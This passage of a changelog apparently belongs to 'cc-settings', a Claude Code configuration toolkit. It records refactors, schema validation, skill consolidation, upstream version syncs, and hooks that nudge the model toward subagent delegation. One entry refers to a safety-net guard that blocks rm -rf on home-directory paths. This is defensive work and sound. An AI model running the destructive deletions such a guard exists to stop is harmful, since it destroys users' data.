z.string().url(), deprecated in zod 4 in favor of the top-levelz.url(). Swappedsrc/schemas/mcp.ts:39andsrc/schemas/hooks.ts:68. pad()consolidation. A one-line zero-pad helper was reimplemented insrc/scripts/checkpoint.ts,src/scripts/handoff.ts, andsrc/scripts/log-bash.ts. Lifted fromsrc/lib/platform.ts(previously buried as a local insidegetTimestamp) to a module-level export; the three scripts now import it. Net: −9 LOC across the scripts, single canonical helper.
refactor: thread key through Strategy in settings-merge
Closes the last deferred finding from the second-pass /nuclear-review. userWinsScalarStrategy previously called resolveScalarConflict with a literal "<scalar>" placeholder because the orchestrator didn't pass the key it was iterating over. Visible to anyone running setup.sh --interactive with a top-level scalar conflict on an unknown key — the prompt read " differs between your settings and team" instead of e.g. "model differs…".
Threaded key: string as the first parameter of the Strategy type. The orchestrator at src/lib/settings-merge.ts:451 now passes the current key. userWinsScalarStrategy uses it in the resolveScalarConflict call; the other four strategies (permissions, hooks, env, statusLine) accept it as _key because they label their internal sub-prompts with hardcoded paths like permissions.${k} already. 20 test call sites in tests/settings-merge.test.ts updated to pass the strategy's registered key ("permissions", "hooks", "env", "statusLine", "model" for the generic scalar tests).
No behavior change for non-interactive merges. Interactive merge prompts now name the conflicting key.
refactor: nuclear-review batch 2 — runGit consolidation + pad mop-up + safety-net cleanup
Seven mechanical findings from the second-pass /nuclear-review:
runGitFulllifted tosrc/lib/git.ts. New rich-shape variant returns{ exit, stdout, stderr }so scripts that need failure inspection or stderr stop rolling their own. Removed the two local copies insrc/scripts/checkpoint.tsandsrc/upstream/scan.ts. The string-returningrunGitis unchanged; common-path callers stay simple.pad()consolidation finished. Two more inline reimplementations dropped fromsrc/scripts/stop-failure.tsandsrc/scripts/claude-audit.tsin favor of the canonical export fromsrc/lib/platform.ts(the morning pass caught 3; this pass catches the remaining 2).safety-net.ts checkRmRf— six$HOME/${HOME}literal comparisons collapsed intoHOME_PATH_PREFIXES+isExactHomePath/startsWithHomePathhelpers, used in both the BLOCK and ALLOW paths.safety-net.ts stripGitGlobalOpts— four near-identical regex branches collapsed into aGIT_GLOBAL_OPT_PATTERNSarray + single loop.- Dropped unused
statimport fromsrc/scripts/checkpoint.ts. - Deleted stale "Phase 3 will replace…" comment from
src/scripts/session-start.ts— the replacement shipped in v10.x. - Made
cmdList/cmdCleanincheckpoint.tsasync-consistent (readdir/unlinkinstead of*Syncvariants; matchescmdSave's existing pattern).
The <scalar> placeholder fix called out as "deferred" in the commit message landed in the next commit (see thread key through Strategy entry above). The other deferred item — claude-audit.ts date helpers — stays in-file (single consumer; premature to extract).
No behavior change. Typecheck clean, biome clean, lint:skills clean.
refactor: drop readJsonOrNull<T> type-lie
The <T> generic on src/lib/mcp.ts:readJsonOrNull was a fiction — callers got T | null but the value was actually unknown dressed as T via a cast inside the function. Every meaningful caller did its own pattern-match or safeParse anyway, so the type parameter only obscured the boundary that v11.3.1's safeParse closure work was meant to guard. Dropped the generic; signature is now (path: string) => Promise<unknown>. The four meaningful callers (src/setup.ts, src/lib/status.ts ×2, src/lib/settings-merge.ts ×2 already cast) cast at the call site, making the unsafety visible. Closes finding 3 from the nuclear-review audit. No behavior change.
[11.3.1] — 2026-05-22
refactor: dependency review + safeParse boundary closure + upstream sync 2.1.148
Post-11.3.0 cleanup pass driven by a context7 audit of every runtime dependency.
Dependency review (@inquirer/prompts, yaml, zod)
@inquirer/prompts^8.4.2 →@inquirer/confirm^6.0.13. We only ever usedconfirm; the standalone subpackage has a smaller install footprint with no API change beyond the default-import form.yaml: 3 call sites collapsed through the canonicalsrc/lib/frontmatter.ts:parseFrontmatter. NewparseFrontmatterStrictusesparseDocumentso the skill linter now reports YAML errors with line, column, and zod error code — e.g."BLOCK_AS_IMPLICIT_KEY at line 3, col 14: Nested mappings are not allowed in compact mappings"instead of a bare message.zod: dropped the(Settings as unknown as { shape: ... }).shapecast insrc/upstream/scan.ts— zod 4 types.shapepublicly, no cast needed.
safeParse at JSON-deserialize boundaries (two commits)
~/.claude/settings.json and ~/.claude.json are user-controlled. Hot read paths previously cast JSON.parse(...) as the expected type without validation. Closed the gap at five sites:
src/lib/mcp.ts—readMcpFromSettingsvalidates viaMcpServers.safeParse; logs debug + returns{}on failure.installMcpToClaudeJsonvalidates team + current reads; logs debug and preserves raw on failure to avoid data loss on forward-compat drift (design choice documented inline).src/lib/audit-hooks.ts—auditSettingsFilevalidates the hooks block againstHooksBlock; schema mismatch surfaces as an audit finding (severityunknown) instead of crashing the audit.src/setup.ts—installSettingsvalidates viaSettings.safeParse; fingerprint best-effort on schema failure (forward-compat).src/lib/settings-merge.ts—mergeSettingsWithMcpPreservationvalidatesuserRawandteamRawat the top; on schema failure logs debug and proceeds with the raw object.src/lib/status.ts— sentinel file (.cc-settings-version) validates against new exportedVersionSentinelschema; null fields on failure (treat as absent).
zod 4 string parsing is 14.7× faster than zod 3 per the official benchmark, so the perf cost of validation is negligible at these boundaries.
Upstream sync 2.1.146 → 2.1.148
Reviewed every change in Claude Code 2.1.147 and 2.1.148:
- 2.1.148: single Bash exit-code-127 regression fix. Inert for cc-settings.
- 2.1.147: ~35 bug fixes (background sessions, auto-updater, hook
if-pattern parser, PowerShell, MCP pagination, agent view, slash-command edge cases). Inert. - 2.1.147 single breaking rename:
/simplify→/code-reviewwith semantics changed (now reports correctness bugs at chosen effort, no longer the cleanup-and-fix command). References updated inskills/refactor/SKILL.md,skills/zero-tech-debt/SKILL.md,MANUAL.mdto point at/zero-tech-debt(in-diff tightening niche).
Schema surface: no new settings keys, hook events, env vars, agent contracts, or MCP fields. Upstream scanner reports no drift after the bump.
Other
- Lint cluster:
bun run lintnow reports 0 warnings (was 4 pre-existing —parallelmax-judgeoptional chain, two template-literal-in-string warnings, one non-null assertion). Auto-fix swept imports + formatting across 10 files. - Stale doc fix:
docs/consolidation-audits/2026-05.mdmarks the web-vitals/performance row as superseded by v11.3.0.
Tests
303 (pre-11.3.0) → 349 (after 11.3.0 dep work) → 363 (after safeParse extension). +60 across the post-11.3.0 cycle.
[11.3.0] — 2026-05-21
refactor: thermonuclear cleanup — skills 37→26, oracle→explore, mcp.ts split, +unit tests
A six-tier cleanup pass across the whole codebase. Behavior-preserving where it mattered (the golden-migration tests still gate everything); ambitious about structural simplification everywhere else.
Skills consolidation (37 → 26, freed 11 slots)
- Retired:
audit(CLI alias),lenis(narrow third-party setup),share-learning(gh-CLI wrapper; routing rules relocated toAGENTS.md). - Merged:
create-handoff+resume-handoff→handoff;discovery+prd→plan-feature;ask+premortem+compare-approaches→oracle(three modes);tddfolded intotest;cc-sync+cc-update→cc;long-taskfolded intoorchestrate. - Demoted:
write-a-skill→bun run new-skill <name>CLI +docs/skill-authoring.md.
Agents
agents/oracle.mdmerged intoagents/explore.md(blast-radius workflow, evidence-based answer template, never-speculate principles preserved).Agent(oracle, …)references across skills/profiles/docs swept toAgent(explore, …).profiles/maestro.mdslimmed 108 → ~40 lines (deep reference isagents/maestro.md).agents/planner.mdinline ADR/trade-off/plan templates replaced with pointers todocs/architecture-reference.md,docs/thread-types.md,docs/enhanced-todos.md.- Self-Evolving Learnings block centralized in
AGENTS.md; implementer/planner/reviewer reference it instead of duplicating. - Frontmatter drift:
maxTurnscaps added to scaffolder/tester/deslopper/reviewer; reviewer gainsisolation: worktree.
src/ refactor
src/lib/mcp.tssplit 611 → 177 lines. Newsrc/lib/settings-merge.tsexports the 5 merge strategies (permissionsStrategy,hooksStrategy,envStrategy,statusLineStrategy,userWinsScalarStrategy) and the orchestrator individually — previously private closures.cmdStatusinsetup.ts(125-line monolith) refactored intogatherStatus(): StatusData(newsrc/lib/status.ts+status-types.ts) andprintStatus(data).- Shared
src/lib/frontmatter.tsextracted — was duplicated acrosslint-skills.ts,skill-prereqs.ts,frontmatter-validate.ts. src/lib/audit-hooks.tsnow usesHook/HookGroupfromsrc/schemas/hooks.tsinstead of localRawHook*interfaces (schema-drift fix).src/lib/skill-prereqs.tsdrops theunknowncast onrequires— uses typedSkillFrontmatter.requiresdirectly.src/scripts/lint-skills.tsslimmed to matchaudit-hooks.ts5-line CLI wrapper style.- 34 new unit tests across
tests/settings-merge.test.ts(per-strategy coverage) andtests/status.test.ts(gatherStatus on temp fixtures).
Rules
rules/web-vitals.mdabsorbed intorules/performance.md(CLS font fallback metrics, PerformanceObserver debug, budgets table); web-vitals deleted. Cluster went 3 files → 2.- 5 drift instances canonicalized with 1-line pointers at non-canonical locations: React Compiler memoization rule (
rules/react-perf.md),&&with numbers (rules/react.md), defer-awaits (rules/performance.md), secret file list (rules/security.md), typography utilities (rules/ui-skills.md).
Housekeeping
docs/migration-coexistence.mddeleted (self-archived).config/20-mcp.json_comment/_statuskeys stripped (non-standard JSON); relocated todocs/settings-reference.md.src/setup.tsbackup-prune loop parallelized.src/lib/packages.tslinux/wsl probe branches deduplicated.
README
- Tightened 356 → 84 lines. Cut marketing prose, comparison table, philosophy, FAQ. Kept: one-sentence pitch, install, what-gets-installed map, common commands, doc pointers.
Net
- 38 files modified, ~720 LOC removed from production code/docs.
- 34 new unit tests (303 → 338 passing).
- Skill library at 26/40 with 14 slots of runway.
[11.2.1] — 2026-05-19
fix: implementer briefing contract + sync with Claude Code v2.1.144
The upstream v2.1.144 release is a pure bug-fix window — terminal renderer fixes, background-session crashes, MCP pagination, Windows-only fixes — with no new settings keys, hook types, env vars, or agent contracts to adopt. Patch bump on the manifest only.
The substantive change this release is local: the implementer agent now refuses thin prompts and the skills that orchestrate it now construct real briefings instead of emitting unresolved placeholders.
Fixed
agents/implementer.md: added aREQUIRED BRIEFINGblock to thedescription:(visible to orchestrators at delegation time) and aBriefing Gateto the system prompt. The agent now audits its own prompt against a 5-item checklist (user ask verbatim, file paths + line ranges, the concrete change to make, verification command, scope boundary) and refuses to start work with a structured "Briefing incomplete: missing X" reply rather than guessing.isolation: worktreemeans implementer boots in a freshorigin/maincheckout with zero in-session context — a thin prompt was the dominant cause of regressions.skills/fix/SKILL.md: the Agent Delegation block previously sent the literal string[summary from explore]to implementer — a placeholder no harness interpolated. Replaced with orchestrator instructions that build the briefing from prior agent output before invocation.skills/refactor/SKILL.md: same anti-pattern ("Refactor according to plan.") — same treatment, now instructs the caller to paste the actual planner output.profiles/maestro.md: replaced[4] Agent(implementer, "implement based on plan")with explicit "paste the planner output verbatim" wording.CLAUDE-FULL.mdDelegation section: added a briefing-contract callout under theimplementerrule pointing at the full contract in the agent definition.
Skipped (upstream bug fixes, no cc-settings surface)
Captive-portal startup hang (75s → 15s), terminal rendering corruption fixes (window-resize garble, progressive corruption, VS Code spinner glitches, Windows CJK ghost chars), macOS background-session Full Disk Access regression, image-extension-mismatch crash, head/tail satisfying read-before-edit, egrep/fgrep/git grep/git diff exit-code 1 no longer reported as failure, /branch in worktrees, Escape in AskUserQuestion notes, IDE / applyFlagSettings model selection, resumed-session model retention, Bedrock/Vertex Opus 1M regression (v2.1.129), forceLoginMethod/forceLoginOrgUUID remote login, MCP paginated tools/list dropping pages, MCP SVG MIME fallback, file-descriptor exhaustion in skill dirs (non-.md no longer triggers reloads — beneficial side effect for cc-settings), session-title-from-plugin-monitor, Skill tool headless permission regression (v2.1.141), claude mcp list silent failure on bad .mcp.json, custom ANTHROPIC_BASE_URL Haiku fallback, Windows scrolling in attached bg sessions, terminal-close crash, ! exec Ctrl+C, agent view shell-command rows, Windows arrow-key in claude agents, /bg / ←-detach preserving /add-dir, in-place-edit Edit/Write refusal after detach, claude respawn status, /resume forked-from-bg, claude agents/claude logs hang on unresponsive bg service (10s timeout), bg Bash tasks stuck Running, wake-fail marked as startup crash, markdown links in agents, spinnerVerbs post-turn restoration, claude --bg --name echo, Ctrl+R rename banner, non-git VCS worktree-isolation guard, CLAUDE_CODE_PLUGIN_PREFER_HTTPS add/update regression, /plugin post-action navigation, /doctor exec-form hint, skill-listing truncation moved to /doctor, pre-response stream-stall retry, SDK/headless MCP startup overlap (~2s faster), /extra-usage → /usage-credits rename (we reference neither), survey follow-up hint.
Files changed
agents/implementer.mdskills/fix/SKILL.mdskills/refactor/SKILL.mdprofiles/maestro.mdCLAUDE-FULL.mdupstream/claude-code-manifest.jsonsrc/setup.tsCHANGELOG.md
[11.2.0] — 2026-05-18
feat: sync with Claude Code v2.1.143
Routine upstream sync covering 2.1.140 → 2.1.143. Adopts the new contracts (env vars, settings field, hook output field) so the zod schemas accept them and the docs reference them. Most of the upstream churn in this window is UI/plugin/Windows fixes that have no cc-settings surface.
Adopted
worktree.bgIsolation: "none"setting (v2.1.143) —src/schemas/settings.ts. Lets background sessions edit the working copy directly withoutEnterWorktree. For repos where worktrees are impractical.terminalSequencehook output field (v2.1.141) —docs/hooks-reference.md. Hooks can emit desktop notifications, window titles, and terminal bells through their JSON output without a controlling terminal. (Docs-only; the zod schema models hook input, not output.)- 6 new env vars in
knownEnvVars(manifest) + env-vars table:ANTHROPIC_WORKSPACE_ID(v2.1.141) — workspace-scoped workload identity federationCLAUDE_CODE_PLUGIN_PREFER_HTTPS(v2.1.141) — HTTPS clone for plugin sources behind SSH-blocking proxiesCLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE(v2.1.142) — pin fast mode to Opus 4.6 (default is now Opus 4.7)CLAUDE_CODE_STOP_HOOK_BLOCK_CAP(v2.1.143) — cap Stop-hook block-loop length (default: 8)CLAUDE_CODE_POWERSHELL_RESPECT_EXECUTION_POLICY(v2.1.143) — opt out of PowerShell ExecutionPolicy Bypass defaultCLAUDE_CODE_USE_POWERSHELL_TOOL— already in the manifest; documentation added for the new Windows-default-on behavior
Deletions / Native-now-redundant
None this cycle. The /loop redundant-wakeup fix (v2.1.140) and the case-insensitive subagent_type matching (v2.1.140) are pure upstream improvements; we have no compensating shims to remove.
Skipped
~25 upstream entries: plugin-management UX, Windows-only fixes, claude agents CLI flag additions, /feedback//plugin//web-setup UI, rewind menu, MCP_TOOL_TIMEOUT fix, reactive-compaction internal improvement, hook config error wording, agent color palette, settings hot-reload symlink fix, plugin folder-shadowing warnings — none affect schemas, hooks, or our config surface.
Files changed
- Modified:
upstream/claude-code-manifest.json,src/schemas/settings.ts,docs/settings-reference.md,docs/hooks-reference.md,src/setup.ts(VERSION 11.1.4 → 11.2.0),CHANGELOG.md
[11.1.4] — 2026-05-13
fix: statusline ↻time-to-reset suffix renders again
The ↻Xh:XXm reset countdown next to the ⚡ rate-limit segment had been silently missing since Claude Code's statusline payload settled on Unix epoch seconds for rate_limits.five_hour.resets_at. Our hook called Date.parse() on that integer — Date.parse(1738425600) returns NaN, so formatTimeToReset returned null and the suffix was dropped without warning. v11.0.5 shipped the feature with an ISO-string mock and never caught the type mismatch against real Claude Code output.
Fix
src/hooks/statusline.ts:formatTimeToResetnow detects epoch-second input (> 1e9), multiplies to ms, and falls back toDate.parsefor ISO strings (legacy/test compatibility).Payload.rate_limits.five_hour.resets_atwidened tonumber | string. Addedseven_dayblock alongsidefive_hour— the official statusline docs list both windows.
Verified against three payload shapes
epoch seconds (current) → ⚡30% ↻3h20m
ISO string (legacy) → ⚡30% ↻3h20m
past timestamp → ⚡30% (suffix correctly suppressed)
Files changed
- Modified:
src/hooks/statusline.ts,src/setup.ts(VERSION 11.1.3 → 11.1.4)
[11.1.3] — 2026-05-13
feat: 4 React rules folded in from react-doctor research
Evaluated millionco/react-doctor (static analyzer, 9.1k★) and aidenybai/react-scan (runtime re-render overlay, 21.3k★) as potential cc-settings adoptions. Verdict on both: skip the tools, fold the worthwhile rule knowledge directly into our path-conditioned rules/.
Why skip the tools:
- react-doctor is a CI-time static analyzer; cc-settings is prompt-time guidance. The skill it auto-installs into Claude Code is a 4-line CLI wrapper, not encoded rule knowledge. False positives on Next.js Route Handlers (Issue #206) and unclear React Compiler awareness — both load-bearing for Darkroom projects.
- react-scan is broken with React Compiler (Issues #378, #229 — compiler-memoized components misreported, or re-renders go silent). Every Darkroom project runs Compiler, so acting on its output could cause engineers to add explicit
memo/useMemocalls the Compiler then fights. No CI mode, so can't slot into/lighthouseor/qa. Revisit when RFC #207 + #305 land.
What we DID fold in (4 rules across 2 files):
rules/react.md— three new DON'Ts:- Don't cascade setState calls — consolidate to one setter or derive; cascading fights React's batching and creates stale-closure bugs.
- Don't put
useState/useEffect/ refs in a Server Component — Next.js App Router build error; split into Server (fetch) + Client (interact) pair. - Don't make a Client Component
async—'use client'+async function= runtime error; the data fetch belongs one boundary up.
rules/react-perf.md— one new bullet in the React Compiler Note section:- Inline JSX literals (
<Button style={{ color: 'red' }} onClick={() => doThing()} />) are FINE under Compiler. The classic "don't put object/function literals in JSX" advice is pre-Compiler folklore. Don't extract them intouseMemo/useCallbackto "fix" something the Compiler already handles.
- Inline JSX literals (
What we DIDN'T fold:
no-barrel-imports — already covered by rules/performance.md's "Direct imports over barrels" section.
react-scan's runtime-only signals (real-interaction render counts, context-subscriber blast detection) — no prompt-time rule can substitute for runtime observation. Left as a "revisit later" note.
Files changed
- Modified:
rules/react.md,rules/react-perf.md,src/setup.ts(VERSION 11.1.2 → 11.1.3)
[11.1.2] — 2026-05-13
chore: doc pass + deslop residue from v11.1.1
Post-v11.1.1 audit pass caught documentation drift the consolidation left behind, plus residual dead code the deslopper found on a deeper sweep. All structural — no behavior changes.
Documentation — stale references after v11.1.0 + v11.1.1 cuts
CLAUDE.md—src/scripts/description listed "learning" as an example one-shot script; that file was deleted in v11.1.1.CLAUDE.md,README.md—bench/description still claimed "Performance benchmarks + regression gate"; onlybench/prototype/survives. Updated both to name the surviving directory and note the v11.1.1 retirement.hooks/README.md—session-start.tsrow described "recalls learnings"; the script now surfaces an auto-memory pointer (thelearning.tsrecall path was retired in v11.1.1).docs/hooks-reference.md— samesession-start.tsrow update.docs/hooks-reference.md"Adding New Hooks" → Best Practices — added a bullet pointing hook authors at the newsrc/lib/hook-runtime.tshelpers (readHookInput,readState,writeState,runHook) with the three parallelmax hooks named as reference implementations.
Dead code — ensureNpmGlobal function body
v11.1.1 removed the unused ensureNpmGlobal import from src/setup.ts but left the function body alive in src/lib/packages.ts (~22 lines). Confirmed zero callers across the repo (the only consumer was the retired docs skill's install hook). Deleted.
Files changed
- Modified:
CLAUDE.md,README.md,hooks/README.md,docs/hooks-reference.md,src/lib/packages.ts,src/setup.ts(VERSION 11.1.1 → 11.1.2)
Sessional learning — worktree base-ref gotcha
The implementer agent dispatched for this doc pass with isolation: "worktree" worked off origin/main (still at v11.0.5 since this session's work hadn't been pushed), then overwrote the v11.1.0 doc cleanup on copy-back. Caught it via git diff HEAD and restored before committing. Lesson: ALWAYS commit current state before dispatching a worktree-isolated agent so the agent's base ref reflects unpushed work. For truly excellent worktree use, isolation: "worktree" + push-or-commit-first is the only safe pattern when local HEAD is ahead of origin.
[11.1.1] — 2026-05-13
refactor: accelerationist cleanup — retire bash-era bench, retire local-tier learning, extract hook-runtime helper
Post-v11.1.0 deslop pass surfaced three orphan systems that the consolidation narrative had implied retired but hadn't actually cut. This release finishes those cuts and extracts a tiny shared library for the new hook trio.
Deleted — bash-era benchmark harness
The bench harness pre-dated the bash→TS migration (April 2026). bench/run-baseline.ts hardcoded join(REPO, "scripts") — a directory deleted when the bash scripts were ported — meaning every run silently timed nothing and produced garbage numbers. bench/regression-check.ts chained into it. bench/baseline-bash.json was a frozen snapshot from the bash era. The bench:baseline / bench:check package.json scripts and the CI job that ran them were also dead.
bench/run-baseline.ts,bench/regression-check.ts,bench/baseline-bash.json— deleted (git rm).package.json— removedbench:baselineandbench:checkscript entries.prototype:compile(which points atbench/prototype/) preserved..github/workflows/ci.yml— removed thebench:job that ranbun run bench:checkon macOS.CLAUDE.md(project-level) — removed the twoBench baseline/Bench regressionlines from the Development commands list.
bench/prototype/ is untouched — it's unrelated exploratory code.
Deleted — learning.ts local tier (finishing the v11.1.0 retirement)
The v11.1.0 CHANGELOG declared the local tier "folded into auto-memory" but the underlying src/scripts/learning.ts (~350 lines) and three call-site references survived. Auto-memory at ~/.claude/projects/<hash>/memory/ is the cc-settings-blessed local store. This release deletes the script and updates its three callers.
src/scripts/learning.ts— deleted.src/scripts/session-start.ts— removed the Learnings block that read from~/.claude/learnings/<project>/learnings.json; replaced with a one-line auto-memory pointer.src/scripts/stop-summary.ts— replaced thelearning.ts storeinvocation hint with an auto-memory-equivalent pointer.skills/consolidate/SKILL.md— replaced thelearning.ts recall all | wc -lcount with afind ~/.claude/projects/*/memory -name "*.md"count; replaced the prune-bash block with prose about reviewing auto-memory entries.skills/README.md— updated the recall example that still referencedlearning.ts.
Added — src/lib/hook-runtime.ts (53 lines, four helpers)
The three new v11.1.0 hooks (parallelmax-nudge, delegation-detector, parallelmax-judge) duplicated three patterns:
Bun.stdin.text()→ JSON parse → env-var fallback- read/write a state file at
~/.claude/tmp/<name>.json - top-level
try { await main(); } catch {}fail-open wrapper
Extracted to src/lib/hook-runtime.ts exporting readHookInput<T>(), readState<T>(name, fallback), writeState(name, data), and runHook(main). Refactored all three hooks to use the helpers — behavior identical, just less repetition.
| Hook | Before | After | Delta |
|---|---|---|---|
parallelmax-nudge.ts | 85 | 61 | −24 |
delegation-detector.ts | 88 | 77 | −11 |
parallelmax-judge.ts | 165 | 145 | −20 |
Net: +53 (new lib) − 55 (across three hooks) = −2 lines, but every future hook gets the helpers for free, and the cc-settings supply-chain auditor still classifies all three as trusted (the helper lives under src/lib/ which is one of the three allowlisted directories).
Also fixed
skills/share-learning/SKILL.md— the body invokedlearning.ts store --sharedwhich never existed in the TS port (the--sharedflag was a documentation aspiration, never implemented). Replaced with directgh project item-createinvocations.src/setup.ts— removed unusedensureNpmGlobalimport (orphan from when the retireddocsskill installed npm globals; pre-existing lint error).
Files changed
- Deleted:
bench/run-baseline.ts,bench/regression-check.ts,bench/baseline-bash.json,src/scripts/learning.ts - Added:
src/lib/hook-runtime.ts - Modified:
package.json,.github/workflows/ci.yml,CLAUDE.md,src/setup.ts,src/scripts/session-start.ts,src/scripts/stop-summary.ts,src/hooks/parallelmax-nudge.ts,src/hooks/delegation-detector.ts,src/hooks/parallelmax-judge.ts,skills/consolidate/SKILL.md,skills/share-learning/SKILL.md,skills/README.md
infra: VERSION 11.1.0 → 11.1.1
Patch bump — refactors and cleanups, no new features.
[11.1.0] — 2026-05-13
feat: parallelmaxxing hooks — counter the Opus 4.7 self-execution bias
Opus 4.7 spawns fewer subagents by default than 4.6 and prefers internal reasoning over delegation. The existing CLAUDE.md delegation rules are rules-as-documentation — read once, then drift. This release wires three runtime hooks that surface the bias in real time rather than relying on the model to police itself.
Added — src/hooks/parallelmax-nudge.ts (PostToolUse, no matcher)
- File-based counter at
~/.claude/tmp/parallelmax-counter.json. Increments on every tool call, resets when theAgenttool fires (delegation observed). - At threshold
N=8, emits ahookSpecificOutput.additionalContextpayload pointing atAgent(implementer)/Agent(explore)/Agent(maestro)with the live count. - 60s debounce, then resets the counter so a single nudge doesn't repeat for the next eight calls.
- Pure heuristic — zero LLM cost, microsecond runtime. Fail-open on any read/parse error.
Added — src/hooks/delegation-detector.ts (UserPromptSubmit)
- Regex-scores the incoming prompt for breadth signals: phrases like "do all", "execute the plan", "across the repo", "every file", "fan out"; path-shaped tokens (
dir/file.ext); numbered/bulleted lists with 4+ items. - Phrases score
+2each; ≥3 path tokens add+1; ≥4 list items add+1. - At score ≥ 2, injects a system reminder before the model commits to a plan, naming the matched reasons and pointing at maestro / multi-agent delegation.
- Pure regex — zero LLM cost.
Added — src/hooks/parallelmax-judge.ts (Stop event, counter-gated)
- Reads the parallelmax counter first; returns silently if
count < 5. Avoids burning Haiku + latency on every turn — only fires on already-suspicious turns. - Parses the last ~25 events from
transcript_path(JSONL), extracts the most recent user prompt + the assistant's tool sequence. - Spawns
claude -p --model claude-haiku-4-5-20251001with the excerpt + the cc-settings delegation rules; Haiku returnsDELEGATE: <reason>orOK. - On
DELEGATE, posts the verdict + reason asadditionalContext. 10-min debounce; suppresses duplicate reasons; state at~/.claude/tmp/parallelmax-judge.json. - Uses the user's existing Claude Code auth (OAuth on Max plans where Haiku usage is bundled into the subscription — Anthropic's
/goaldocs call this "negligible compared to main-turn spend"). 8s timeout on the spawn; fail-open on any error.
All three hooks follow the cc-settings trusted-command convention (bun "$HOME/.claude/src/hooks/<name>.ts") so the supply-chain auditor classifies them as trusted. Verified: bun run audit:hooks reports 51 trusted, 0 unknown, 0 suspicious after install.
refactor: skill consolidation — 38 → 36, plus the dr- prefix convention
The user's effective skill count is around 70+ once native Claude Code skills (loop, schedule, simplify, review, init, security-review, claude-api, …) and plugins (sanity:*, vercel:*) load on top of cc-settings. Anthropic's Skills guide flags 20–50 descriptions as the band where the Skill selector starts struggling. The 40 soft cap on cc-settings was protecting our slice while the user already sat past the upper bound. This release tightens our slice and clarifies the cap's scope.
Deleted — skills/docs/
The Context7 MCP server's own server-level instructions already prompt Claude to use it on any library question. Our /docs <library> slash was a re-statement. Updated all cross-references (8 files) to point at the MCP server directly. The "MANDATORY before adding any external dep" rule migrated to natural-language guidance in the affected skills.
Deleted — skills/figma/
Same shape as docs — the Figma MCP server's instructions cover URL parsing, the design-to-code workflow, and get_design_context as the primary tool. The /figma slash duplicated without adding routing. Updated skills/qa/SKILL.md and MANUAL.md to route directly to the MCP.
Renamed — skills/learn/ → skills/share-learning/
The learn skill had two tiers. The local tier wrote to ~/.claude/learnings/<project>/learnings.json — fully redundant with the auto-memory system in ~/.claude/CLAUDE.md which writes typed memories (user, feedback, project, reference) to ~/.claude/projects/<hash>/memory/. The shared tier (GitHub Project board, team-wide) is genuinely orthogonal. Narrowed share-learning to the shared tier only; local notes defer to auto-memory.
Renamed — skills/init/ → skills/darkroom-init/ → skills/dr-init/
Two consecutive renames in this release. The native Claude Code /init (writes a CLAUDE.md file) collides on the slash command. First rename added "darkroom-" to disambiguate; second rename adopts the new dr- prefix convention for Darkroom-specific cc-settings skills. The dr- prefix mirrors the studio's CSS class namespace. Generic skills (fix, build, review, lenis, …) stay unprefixed because they apply outside Darkroom; only skills that are useless at a non-Darkroom shop carry the prefix.
Tightened descriptions (no rename) — review and refactor
Both names collide with native Claude Code skills. Rather than rename them (the slashes are well-established), descriptions now disambiguate by scope:
review— "local pre-commit review of unstaged/staged diff against the Darkroom quality checklist; distinct from native/reviewwhich inspects open PRs."refactor— "behavior-preserving restructuring of code that is NOT in your current diff; for tightening just-changed code use native/simplifyinstead."
The selector now has a clear signal for which to pick.
Net change
38 → 36 cc-settings skills. Four below the 40 cap, headroom for the next two additions before re-evaluating. bun run lint:skills passes; the soft-cap warning stays silent.
feat: /goal cross-references in the loop-shaped skills
Anthropic shipped /goal (a session-scoped wrapper around a prompt-based Stop hook) — Claude keeps turning until a small/fast model judges a stated condition met. Four cc-settings skills are loop-shaped and now point at it with worked conditions:
skills/lighthouse/SKILL.md—/goal mobile and desktop scores in all four categories meet their targets, or stop after 20 roundsskills/tdd/SKILL.md—/goal every planned behavior has a passing test and the full suite exits 0skills/fix/SKILL.md—/goal the reproducer test passes and the full suite is green, or stop after 5 attemptsskills/long-task/SKILL.md—/goal all phases complete, tsc + lint + tests exit 0, git status is clean
security: SECURITY.md — "Don't disable hooks wholesale"
/goal is implemented as a session-scoped prompt-based Stop hook and reports itself unavailable if disableAllHooks or allowManagedHooksOnly is set at any settings level. The new parallelmaxxing hooks have the same dependency. Users who panic-disable hooks after a verify-hooks warning would lose both. Added a section to SECURITY.md and a caveat to docs/settings-reference.md's disableAllHooks documentation telling users to remove suspicious entries surgically instead. The fingerprint and the in-memory session hooks (/goal, custom prompt hooks) coexist cleanly — the fingerprint only hashes the persisted hooks block.
chore: documentation pass — 10 files updated to match the new surface
33 stale references fixed across README.md, MANUAL.md, CLAUDE-FULL.md, skills/README.md, hooks/README.md, mcp-configs/README.md, docs/frontmatter-reference.md, docs/hooks-reference.md, docs/settings-reference.md, and docs/consolidation-audits/2026-05.md (addendum block; historical record left intact). Counts, skill rows, hook tables, frontmatter examples, and tree diagrams all reflect the new state. Auto-memory pointers replace /learn invocations; the dr- prefix convention is now documented wherever Darkroom-specific skill naming comes up.
infra: VERSION 11.0.5 → 11.1.0
Minor bump for the new hook layer and the consolidation. Installer behavior unchanged. The MANAGED_SKILLS array in src/setup.ts adds dr-init and share-learning and keeps docs, figma, init, learn, darkroom-init in the upgrade-cleanup section so existing installs prune the orphaned directories on next setup.sh.
Files changed
- New:
src/hooks/parallelmax-nudge.ts,src/hooks/delegation-detector.ts,src/hooks/parallelmax-judge.ts,skills/dr-init/SKILL.md,skills/share-learning/SKILL.md - Deleted:
skills/docs/,skills/figma/,skills/learn/(renamed),skills/init/(renamed),skills/darkroom-init/(renamed) - Modified:
config/40-hooks.json,src/setup.ts,README.md,MANUAL.md,CLAUDE-FULL.md,SECURITY.md,AGENTS.mdindirectly,skills/README.md,hooks/README.md,mcp-configs/README.md,docs/frontmatter-reference.md,docs/hooks-reference.md,docs/settings-reference.md,docs/consolidation-audits/2026-05.md,docs/feature-agents-guide.md,docs/github-workflow.md,docs/knowledge-system.md,contexts/web.md,contexts/webgl.md,profiles/webgl.md,skills/build/SKILL.md,skills/component/SKILL.md,skills/fix/SKILL.md,skills/hook/SKILL.md,skills/lenis/SKILL.md,skills/lighthouse/SKILL.md,skills/long-task/SKILL.md,skills/qa/SKILL.md,skills/refactor/SKILL.md,skills/review/SKILL.md,skills/tdd/SKILL.md
[11.0.5] — 2026-05-13
statusline: 5h-window time-to-reset
The statusline already displayed ⚡<pct>% for the 5-hour rate-limit usage but didn't surface when the window resets. Most cc-settings users are on Claude Max 100/200 (flat-rate) plans where token cost is fixed but quota matters — knowing time-to-reset is the actionable metric, not dollars.
